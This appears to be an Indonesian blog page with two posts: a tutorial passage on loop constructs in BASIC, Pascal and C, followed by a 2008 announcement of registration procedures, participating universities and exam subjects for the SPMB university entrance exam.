Sebagai contoh, hampir semua bahasa pemrograman memiliki konstruksi for, walaupun implementasinya berbeda-beda. Perbedaan tersebut muncul dikarenakan perbedaan filosofi bahasanya itu sendiri, yang penitikberatannya bisa pada aspek kemudahan, keringkasan, keunikan atau pada kejelasan. Sehingga masing-masing implementasi memiliki kelebihan maupun kekurangannya masing-masing. Konstruksi for inilah yang sering digunakan untuk mengimplementasikan konsep perulangan tak kondisional. Walaupun begitu tidak semuanya menggunakan kata for. Bahasa pemrograman semacam FORTRAN atau PL/I menggunakan kata do, tapi intinya sama dengan pemakaian kata for pada bahasa yang lainnya.

Beberapa bahasa memiliki konstruksi perulangan yang menggunakan foreach (dari "for each" atau "untuk setiap") yang juga merupakan bentuk perulangan tak kondisional. Bentuk kalimat yang menggambarkan penggunaan foreach ini adalah: "Untuk setiap item di dalam sekumpulan item, lakukan sesuatu".

Bahasa yang full berorientasi pada objek semacam SmallTalk dan Ruby bahkan memiliki konstruksi perulangan yang lebih unik lagi. Dalam bahasa tersebut, perulangan bukan dijadikan sebagai konstruksi bahasa, tetapi merupakan metode dalam class bilangan.

Untuk bentuk perulangan kondisional, bentuk yang paling banyak digunakan adalah konstruksi while. Konstruksi ini digunakan untuk mewakili kalimat semacam "Selama masih memenuhi kondisi, lakukan sesuatu" atau "Lakukan sesuatu selama kondisi masih terpenuhi". Bahasa seperti Pascal juga memiliki konstruksi repeat..until yang pada dasarnya kebalikan dari while. Konstruksi repeat..until digunakan untuk mewakili kalimat semacam "Lakukan atau ulangi sesuatu hingga satu kondisi tertentu terpenuhi". Bahasa BASIC bahkan memiliki konstruksi do..loop yang lebih fleksibel lagi.

Bahasa BASIC

BASIC dibuat dengan sintaks yang sesederhana mungkin sehingga mudah dipahami oleh seorang pemula sekalipun. Seperti kebanyakan bahasa yang lain, BASIC juga menggunakan FOR untuk perulangan tak kondisional-nya. Bentuk umumnya adalah sebagai berikut:

FOR counter = awal TO akhir STEP langkah
STATEMENTS
NEXT counter

Bentuk di atas digunakan jika nilai counter di setiap langkahnya dinaikkan menggunakan stepping (banyaknya perubahan nilai counter) sejumlah langkah. Nilai stepping digunakan untuk lompatan nilai pada counter. Sehingga nilai counter tidak harus berubah satu-satu tetapi bisa yang lainnya. Untuk melakukan perhitungan mundur (nilai counter menurun atau mengecil) maka cukup dengan menggunakan nilai stepping negatif. Jika nilai stepping atau langkah adalah satu maka cukup ditulis sebagai:

FOR counter = awal TO akhir
STATEMENTS
NEXT counter

Sedangkan untuk perulangan kondisional, BASIC menggunakan konstruksi while..wend dan do..loop. Bentuk while..wend merupakan bentuk konstruksi perulangan yang sudah kuno dan sepenuhnya bisa digantikan dengan konstruksi do..loop. Dalam dialek BASIC yang lebih modern semacam Visual Basic, bentuknya digantikan menjadi while..end while. Sintaks konstruksi while dalam BASIC adalah:

WHILE kondisi
STATEMENTS
WEND

Seperti telah disebutkan sebelumnya, bentuk while sepenuhnya dapat digantikan dengan bentuk do..loop. Konstruksi do..loop ini memiliki 4 variasi penulisan, yaitu do while..loop, do..loop while, do until..loop dan do..loop until. Konstruksi while yang sebelumnya dapat diganti menjadi bentuk do while..loop tanpa perubahan makna. Berikut ini sintaks dari keempat variasi penulisan konstruksi do..loop:

  • DO WHILE kondisi
    STATEMENTS
    LOOP
  • DO
    STATEMENTS
    LOOP WHILE kondisi
  • DO UNTIL kondisi
    STATEMENTS
    LOOP
  • DO STATEMENTSLOOP UNTIL kondisi

Bahasa Pascal atau Delphi

Sebagai bahasa yang diciptakan untuk tujuan edukasi, Bahasa Pascal dikenal dengan sintaksnya yang jelas dan mudah dibaca. Bentuk atau sintaks yang digunakan Pascal untuk konstruksi perulangan pun relatif lebih jelas daripada bahasa lainnya. Pascal membedakan perulangan tak kondisional menjadi dua, yaitu perulangan dengan nilai counter yang menaik dan satunya dengan nilai counter yang menurun.

Untuk perulangan dengan nilai counter naik digunakan sintaks berikut:

for counter := awal to akhir do begin
Statements;
end;

Sedangkan untuk perulangan dengan nilai counter turun cukup dengan mengganti kata to menjadi downto, sebagai berikut:

for counter := awal downto akhir do begin
Statements;
end;

Dalam Pascal dimungkinkan untuk menggunakan counter yang selain bilangan (integer). Semua data bertipe ordinal (memiliki urutan pasti) semacam char, boolean, enumeration dan subrange dapat dipakai sebagai counter.

Kelemahan Pascal adalah bahwa nilai counter pada setiap langkahnya hanya dapat berubah (naik atau turun) sebanyak satu nilai saja. Konstruksi for dalam Pascal tidak menyertakan nilai stepping yang secara default diberi nilai satu. Untuk nilai stepping yang lebih dari satu dalam Pascal harus menggunakan konstruksi repeat..until atau while yang jelas-jelas merupakan bentuk perulangan kondisional.

Sintaks untuk konstruksi perulangan kondisional dalam Pascal berturut-turut adalah sebagai berikut:

while Kondisi do begin
Statements;
end;

dan

repeat
Statements;
until Kondisi;

Bahasa C

Bahasa C yang lebih mengedepankan unsur keringkasan dan efisiensi kode, memiliki sintaks for yang lebih sulit dibaca daripada Pascal. Tentu saja bagi yang sudah terbiasa menjadi tidak sulit lagi, tetapi harus diakui bahwa bagi seorang pemula sintaks C cukup membingungkan. Walaupun demikian, sintaks perulangan dalam Bahasa C ini banyak diadopsi ke berbagai bahasa pemrograman yang lain. Sebut saja bahasa-bahasa semacam C++, Perl, PHP, Java dan JavaSript, semuanya mengadopsi bentuk perulangan itu.

Bentuk umum penulisan sintaks perulangan tak kondisional dalam C adalah:

int counter;
for (counter = awal; counter <= akhir; counter += langkah) { statements; }

Sintaks C ini sebenarnya yang paling dekat dengan pengertian bahwa perulangan tak kondisional bisa ditulis sebagai perulangan kondisional yang menggunakan counter. Struktur perulangan for dalam Bahasa C memanfaatkan tiga ekspresi yang tertulis di dalam tanda kurung dan dipisahkan dengan tanda titik koma. Ekspresi pertama merupakan sebuah statement yang menandakan inisialisasi perulangan, yang pada bentuk di atas digunakan untuk memberi nilai awal pada counter. Ekspresi kedua menyatakan kondisi yang menentukan jalannya perulangan, yang pada bentuk di atas ditandai dengan pengecekan apakah nilai counter masih belum melampaui nilai akhir. Maksudnya jika nilai ekspresi kedua ini masih bernilai true maka perulangan masih akan dijalankan, sebaliknya jika sudah bernilai false maka perulangan akan berakhir. Ekspresi ketiga berisi statement yang akan dijalankan di akhir setiap langkah dalam perulangan tersebut, yang pada bentuk di atas berisi statement untuk mengubah nilai counter ke nilai berikutnya. Jika nilai counter akan dinaikkan satu-satu di setiap langkah maka ekspresi ketiga cukup ditulis counter++ (singkatan dari counter += 1)atau jika diturunkan satu-satu maka cukup ditulis counter--.

Dengan demikian dapat disimpulkan bahwa konstruksi for dalam C ini merupakan konstruksi perulangan yang sangat fleksibel. Penggunaan counter di dalamnya hanyalah bersifat opsional. Bahkan lebih tepat kalau dikatakan bahwa perulangan for pada C sebenarnya adalah bentuk perulangan kondisional, berhubung di dalam ekspresi kedua terkandung suatu kondisi yang menentukan jalannya perulangan. Hanya saja memang kebanyakan programmer C menggunakan bentuk for untuk perulangan tak kondisional (dalam artian menggunakan counter), sedangkan untuk perulangan kondisional-nya lebih memilih menggunakan while atau do..while.

Konstruksi while dalam C memiliki kesamaan arti dengan konstruksi while..wend dalam BASIC atau while dalam Pascal. Sintaksnya adalah:

while (kondisi) {
statements;
}

Sementara itu konstruksi do..while memiliki arti sama dengan do..loop while dalam BASIC, yang sintaksnya adalah:

do {
statements;
} while (kondisi);

Bahasa C tidak mengenal bentuk yang menggunakan until atau "hingga" seperti halnya Pascal dan BASIC. Dalam C hanya ada bentuk while atau "selama". Sekali lagi alasannya adalah penitikberatan C pada segi keringkasan bahasa. Bentuk until sebenarnya dapat diwakili menggunakan bentuk while not atau "selama tidak/belum". Contohnya kalimat "Budi terus berlari hingga lelah" sebenarnya sama saja dengan kalimat "Budi terus berlari selama belum lelah".

Dalam C, bentuk while sebenarnya dapat diubah ke dalam bentuk for. Jika ada bentuk while seperti terlihat di bawah ini:

ekspr1;
while (ekspr2) {
statements;
ekspr3;
}

maka bentuk tersebut dapat diubah ke dalam bentuk for menjadi:

for (ekspr1; ekspr2; ekspr3) {
statements;
}

Dari sini jelas sudah penjelasan sebelumnya yang menyatakan kenapa konstruksi for dalam C lebih tepat jika dimasukkan ke dalam kategori perulangan kondisional. Tapi pada kenyataannya memang konstruksi for ini disediakan C untuk men-simulasikan konsep perulangan tak kondisional.

Informasi Pendaftaran SPMB 2008

SELEKSI PENERIMAAN MAHASISWA BARU (SPMB) 2008
SPMB merupakan sistem ujian saringan masuk perguruan tinggi negeri yang dilaksanakan secara nasional, oleh sebuah panitia terpusat di Jakarta, berdasarkan mandat yang diberikan oleh Paguyuban Rektor Universitas Negeri Seluruh Indonesia.
SPMB 2008 rencananya akan dilaksanakan pada tanggal 2-3 Juli 2008.
Tujuan pelaksanaan SPMB adalah untuk memilih calon mahasiswa baru yang mempunyai kemampuan akademik untuk mengikuti dan menyelesaikan pendidikan di Perguruan Tinggi sesuai dengan batas waktu yang telah ditetapkan. SPMB tidak mengurangi wewenang masing-masing perguruan tinggi untuk melaksanakan seleksi sendiri. Seleksi dilakukan dengan pola ujian tertulis.
SPMB dilaksanakan di kota-kota dimana Perguruan Tinggi Negeri berada dan di kota-kota lain yang dianggap strategis oleh Panitia Pelaksana. Seleksi ujian tersebut menggunakan soal yang sama atau setara. Peserta ujian disarankan untuk memilih tempat ujian yang paling dekat dengan tempat tinggalnya.Tempat ujian tidak menjadi bahan pertimbangan dalam proses seleksi calon mahasiswa.
Proses seleksi dilakukan secara terpusat. Semua peserta SPMB akan diurutkan menurut nilai ujiannya, kemudian dialokasikan pada program studi pilihannya, dengan ketentuan bahwa peserta yang lebih baik mendapat prioritas untuk dialokasikan lebih dahulu. Jika masih ada tempat di pilihan pertama, ia akan diterima di program studi pilihan pertama. Jika tempat pada program studi pilihan pertama telah penuh, dan masih ada program studi pilihan kedua, ia akan diterima pada program studi pilihan kedua. Jika tempat pada program studi pilihan pertama dan program studi pilihan kedua telah penuh, maka ia tidak akan diterima walaupun nilainya masih cukup tinggi. Bagi yang memilih kelompok IPC dengan tiga pilihan, maka pilihan ketiga akan diproses dengan cara yang sama.
Materi ujian SPMB pada umumnya ditujukan untuk menguji kemampuan kognitif dan kemampuan akademik calon mahasiswa.
Perguruan Tinggi melakukan seleksi penerimaan mahasiswa baru tidak hanya melalui jalur SPMB tetapi ada juga yang melakukan seleksi secara mandiri (UM/USM/SMUP dll.) kemudian melaksanakan pula seleksi secara terpusat melalui SPMB. Adapun kuota penerimaan mahasiswa baru melalui jalur SPMB untuk setiap PTN berbeda2 seperti halnya ITB. Pada tahun ini, ITB akan menerima sekitar 55% dari total seluruh mahasiswa baru ITB 2008, melalui SPMB 2008.
Perguruan Tinggi Peserta SPMB
Regional I
Meliputi Perguruan Tinggi di wilayah Sumatera, DKI Jakarta, Jawa Barat, dan Kalimantan Barat, terdiri dari:
01. UNIVERSITAS SYIAH KUALA (UNSYIAH)
02. UNIVERSITAS NEGERI MEDAN (UNIMED)
03. UNIVERSITAS SUMATERA (USU)
04. UNIVERSITAS NEGERI PADANG (UNP)
05. UNIVERSITAS ANDALAS (UNAND)
06. UNIVERSITAS RIAU (UNRI)
07. UNIVERSITAS JAMBI (UNJA)
08. UNIVERSITAS SRIWIJAYA (UNSRI)
09. UNIVERSITAS BENGKULU (UNIB)
10. UNIVERSITAS LAMPUNG (UNILA)
11. UNIVERSITAS TANJUNGPURA (UNTAN)
12.UNIVERSITAS NEGERI JAKARTA (UNJ)
13. UNIVERSITAS INDONESIA (UI) *)
14. INSTITUT PERTANIAN BOGOR (IPB) *)
15. UNIVERSITAS SULTAN AGENG TIRTAYASA (UNTIRTA)
16. UNIVERSITAS PENDIDIKAN INDONESIA (UPI)
17. INSTITUT TEKNOLOGI BANDUNG (ITB)
18. UNIVERSITAS PADJADJARAN (UNPAD)
19. UNIVERSITAS ISLAM NEGERI JAKARTA
Regional II
Meliputi Perguruan Tinggi di wilayah Jawa Tengah, D.I. Yogyakarta, Kalimantan Selatan, Kalimantan Tengah dan Kalimantan Timur, terdiri dari :
1. UNIVERSITAS JENDERAL SOEDIRMAN (UNSOED)
2. UNIVERSITAS NEGERI SEMARANG (UNNES)
3. UNIVERSITAS DIPONEGORO (UNDIP)
4. UNIVERSITAS SEBELAS MARET (UNS)
5. UNIVERSITAS NEGERI YOGYAKARTA (UNY)
6. UNIVERSITAS GADJAH MADA (UGM) *)
7. UNIVERSITAS PALANGKARAYA (UNPAR)
8. UNIVERSITAS LAMBUNG MANGKURAT (UNLAM)
9. UNIVERSITAS MULAWARMAN (UNMUL)
Regional III
Meliputi Perguruan Tinggi di wilayah Jawa Timur, Bali, Nusa Tenggara, Sulawesi, Maluku dan Papua, terdiri dari:
01. UNIVERSITAS NEGERI SURABAYA (UNNESA)
02. INSTITUT TEKNOLOGI SEPULUH NOPEMBER (ITS)
03. UNIVERSITAS AIRLANGGA (UNAIR)
04.UNIVERSITAS NEGERI MALANG (UM)
05.UNIVERSITAS BRAWIJAYA (UNIBRAW)
06.UNIVERSITAS JEMBER (UNEJ)
07. UNIVERSITAS UDAYANA (UNUD)
08. UNIVERSITAS MATARAM (UNRAM)
09. UNIVERSITAS NUSA CENDANA (UNDANA)
10. UNIVERSITAS NEGERI MAKASAR (UNM)
11. UNIVERSITAS HASANUDDIN (UNHAS)
12.UNIVERSITAS TADULAKO (UNTAD)
13.UNIVERSITAS HALU OLEO (UNHALU)
14.UNIVERSITAS NEGERI MANADO (UNIMA)
15.UNIVERSITAS SAM RATULANGI (UNSRAT)
16.UNIVERSITAS PATTIMURA (UNPATTI)
17. UNIVERSITAS CENDRAWASIH (UNCEN)
18. UNIVERSITAS NEGERI PAPUA (UNIPA)
19. IKIP NEGERI GORONTALO
20. IKIP NEGERI SINGARAJA
21. UNIVERSITAS TRUNOJOYO
*) PTN BHMN
Data terbaru dan lebih lengkap lihat di : http://www.spmb.or.id
Lintas Regional
Tempat ujian tidak merupakan kriteria penerimaan, sehingga peserta ujian tidak perlu mengikuti ujian di tempat program studi atau universitas yang menjadi pilihannya. Peserta ujian dapat memilih program studi di setiap PTN anggota, dengan persyaratan salah satu pilihannya berada di regional dimana peserta mengikuti ujian; pilihlah tempat ujian yang paling dekat atau paling efisien.
Persyaratan
Peserta SPMB harus memenuhi persyaratan sebagai berikut:Lulusan SMTA 3 tahun terakhir (SMU, MA, SMK, SMTA Luar Negeri, ujian persamaan, dsb).Tidak mempunyai cacat tubuh atau ketunaan yang dapat mengganggu kelancaran belajar yang dipersyaratkan untuk program studi pilihannya.

Warga Negara Asing

Bagi warga negara asing, kalau sudah diterima harus melengkapi izin tertulis dari Direktorat Jenderal Pendidikan Tinggi Departemen Pendidikan Nasional di Jakarta.
Kelompok Ujian
SPMB terdiri dari 3 kelompok:
Kelompok IPA,
Kelompok IPS,
Kelompok IPC/Campuran (IPA dan IPS)
Setiap peserta yang memenuhi persyaratan dapat mengikuti kelompok IPA saja, atau kelompok IPS saja, atau kelompok IPC/Campuran, tidak tergantung pada jurusan SMTA-nya.
Pilihan Program Studi di PTN
Program studi dibagi dalam dua kelompok yaitu kelompok IPA dan kelompok IPS
Setiap peserta ujian kelompok IPA dapat memilih paling banyak dua program studi kelompok IPA
Setiap peserta ujian kelompok IPS dapat memilih paling banyak dua program studi kelompok IPS
Setiap peserta ujian kelompok campuran dapat memilih paling banyak tiga program studi, dengan catatan sedikitnya satu program studi kelompok IPA dan satu program studi kelompok IPS
Urutan pilihan menunjukkan urutan prioritas
Peserta ujian yang memilih hanya satu program studi boleh memilih program studi dari PTN di regional mana saja
Peserta ujian yang memilih dua program studi atau lebih, salah satu program studi tersebut harus merupakan program studi dari PTN yang berada dalam satu regional dengan tempat peserta mengambil formulir pendaftaran.
Pilihan yang lain dapat merupakan program studi dari PTN di luar regionalnya
Daftar program studi dapat dilihat dalam Buku Petunjuk Pendaftaran SPMB.
Biaya Ujian
Biaya ujian ditentukan berdasarkan kelompok ujian yang diikuti yaitu kelompok IPA/IPS saja atau kelompok Campuran/IPC.
Cara Membeli Formulir Pendaftaran
Pembayaran sesuai dengan jadwal yang sudah ditentukan,
Pembayaran dapat dilakukan dengan menyetorkan biaya ujian ke Bank BNI atas nama Rekening Penampungan SPMB di kota dimana peserta akan menempuh ujian,
Bukti pembayaran asli dari bank ditukarkan dengan Formulir Pendaftaran SPMB dan Buku Petunjuk SPMB di Panitia Lokal setempat dimana saudara akan mengikuti ujian,
Pembayaran di bank maupun penukaran bukti pembayaran dengan Formulir Pendaftaran dan pengambilan Buku Petunjuk Pendaftaran dapat diwakilkan.
Cara Pengembalian Formulir Pendaftaran
Formulir Pendaftaran yang sudah diisi/dilengkapi harus dikembalikan ke tempat dimana formulir tersebut diambil,
Pengembalian dilaksanakan sesuai jadwal yang sudah ditentukan,Tempat, tanggal dan jam pengembalian formulir ditentukan oleh Panitia Lokal setempat dimana peserta membeli formulir. Jika anda belum tahu kapan harus mengembalikan formulir pendaftaran anda, harap segera menanyakan ke Panitia Lokal dimana anda membeli formulir,
Anda harus datang tepat pada waktu dan tempat yang telah ditentukan panitia. Jika anda tidak datang tepat pada waktunya, maka pendaftaran anda tidak akan dilayani.Pengembalian Formulir Pendaftaran harus dilakukan dengan datang sendiri, tidak dapat diwakilkan,
Pada saat mengembalikan formulir, anda harus membawa :
Formulir pendaftaran SPMB yang sudah diisi lengkap kecuali tanda tangan dan cap jempol yang benar.
Bagian kanan dari halaman pertama yang berlubang dan bertuliskan :
Bagian ini harap dibuang. Sobeklah dengan tangan, jangan menggunakan pisau atau alat potong lainnya. harus sudah dibuang,
Dua lembar pasfoto ukuran 4 x 6 cm, harus sudah ditempelkan pada Bukti Hadir dan Tanda Peserta SPMB,
Ijazah / STTB dan Daftar NEM/DANUAN yang asli beserta foto copy-nya, atau STTB sementara dan daftar NEM/DANUAN sementara (jika STTB dan Daftar NEM/DANUAN asli belum ada) beserta fotocopynya.),
Tanda Pengenal (KTP, SIM atau kartu pelajar)Tanda tangan dan cap jempol tangan kiri pada Tanda Peserta SPMB dan pada Bukti Hadir SPMB, hanya boleh dilakukan di depan Panitia atas perintah Panitia. Tanda tangan menggunakan alat tulis yang disediakan oleh panitia,
Dokumen yang akan diambil oleh Panitia :
Formulir pendaftaran SPMB
Bukti hadir SPMBFoto copy STB dan foto copy Daftar NEM/DANUAN
Dokumen yang akan diserahkan kembali kepada anda :
Ijazah dan Daftar NEM/DANUAN asli,
Tanda peserta SPMB yang sudah diisi lengkap dan ditandatangani serta dibubuhi cap panitia.
Materi Ujian
Hari Pertama, 2 Juli 2008 :
KEMAMPUAN KUANTITATIF DAN KEMAMPUAN BAHASA (150 menit); untuk kelompok IPA, IPS, dan IPC
MATEMATIKA DASAR (25 soal)
BAHASA INDONESIA (25 soal)
BAHASA INGGRIS (25 soal)
Hari Kedua, 3 Juli 2008 :
KEMAMPUAN IPA (150 menit; untuk Kelompok IPA dan IPC
MATEMATIKA (15 soal)
BIOLOGI (15 soal)
FISIKA (15 soal)
KIMIA (15 soal)
IPA TERPADU (15 soal)
KEMAMPUAN IPS (90 menit); untuk Kelompok IPS dan IPC
SEJARAH (20 soal)
GEOGRAFI (20 soal)
EKONOMI (20 soal)
IPS TERPADU (15 soal)
Pengumuman SPMB
Hasil ujian akan diumumkan kurang lebih sebulan setelah pelaksanaan Ujian,
Apabila terjadi perubahan tanggal pengumuman, akan diberitahukan lewat media massa.
Pengumuman penerimaan mahasiswa baru bagi yang diterima pada program studi tertentu akan disampaikan melalui :
Koran Pengumuman,
Diedarkan oleh Panitia Tetap Lokal,
Lembar Pengumuman,
Ditempelkan oleh Perguruan Tinggi Negeri,
Homepage SPMB : http://www.spmb.or.id
Petunjuk pendaftaran
Setiap pembeli pendaftaran formulir akan memperoleh Buku Petunjuk Pendaftaran SPMB. Buku Petunjuk tersebut merupakan satu-satunya sumber petunjuk SPMB yang dapat dipergunakan. Segala petunjuk mengenai SPMB yang diberikan oleh siapapun, yang bertentangan dengan buku petunjuk tersebut adalah tidak benar.
Keterangan lebih lanjut dan paling akurat mengenai SPMB 2008, dapat diperoleh di alamat berikut :
Panitia SPMB Pusat
Jl. Salemba Raya No. 4 Jakarta Pusat